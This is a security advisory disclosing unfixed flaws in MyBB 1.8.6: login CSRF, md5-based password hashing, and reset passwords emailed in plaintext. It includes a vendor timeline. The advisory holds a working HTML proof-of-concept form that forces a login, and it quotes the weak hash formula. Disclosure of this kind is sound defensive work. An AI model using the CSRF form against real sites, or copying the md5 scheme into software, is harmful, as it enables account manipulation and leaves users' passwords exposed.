MyBB 1.8.6: CSRF, Weak Hashing, Plaintext Passwords

MyBB 1.8.6: CSRF, Weak Hashing, Plaintext Passwords

Date: 2016-09-15 14:23:25
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: MyBB 1.8.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website:
Vulnerability Type: CSRF, Weak Hashing, Plaintext Passwords
Remote Exploitable: Yes
Reported to vendor: 01/29/2016
Disclosed to public: 09/15/2016
Release mode: Full Disclosure / Informational
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview

MyBB 1.8.6 is vulnerable to login CSRF. Additionally, it stores passwords using weak hashing, and sends passwords via email in plaintext.

3. Login CSRF


CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

The login of MyBB does not have any CSRF protection. The impact of this is low, but a victim could provide sensitive information under a fake account. An example would be the accidental sending of a sensitive private message while being logged into an account controlled by an attacker.

Additionally, a login CSRF makes it possible to exploit possible vulnerabilities in the user area, such as XSS.

Proof of Concept

<html> <body> <form action="http://localhost/mybb_1806/Upload/member.php" method="POST"> <input type="hidden" name="action" value="do_login" /> <input type="hidden" name="url" value="http://localhost/mybb_1806/Upload/index.php" /> <input type="hidden" name="quick_login" value="1" /> <input type="hidden" name="quick_username" value="admin" /> <input type="hidden" name="quick_password" value="admin" /> <input type="hidden" name="quick_remember" value="yes" /> <input type="hidden" name="submit" value="Login" /> <input type="submit" value="Submit request" /> </form> </body> </html>

4. Weak Hashing


MyBB uses md5 for hashing passwords, which is not considered secure.

The hashing used is:

$hash = md5(md5($salt).md5($password));

5. Passwords Emailed in Plaintext


When passwords are reset, the generated 8 character password is send to the user via email in plaintext. It is suggested that users change these passwords, but a change is not required.

It is recommended to use a password reset token instead, and to force the user to create a new password themselves.

6. Solution

This issue was not fixed by the vendor.

7. Report Timeline

01/29/2016 Informed Vendor about Issue
02/26/2016 Vendor requests more time
03/11/2016 Vendor releases new version
03/15/2016 Requested information about unfixed issues
03/15/2016 Vendor considers issues minor and will not fix them for now
09/15/2016 Disclosed to public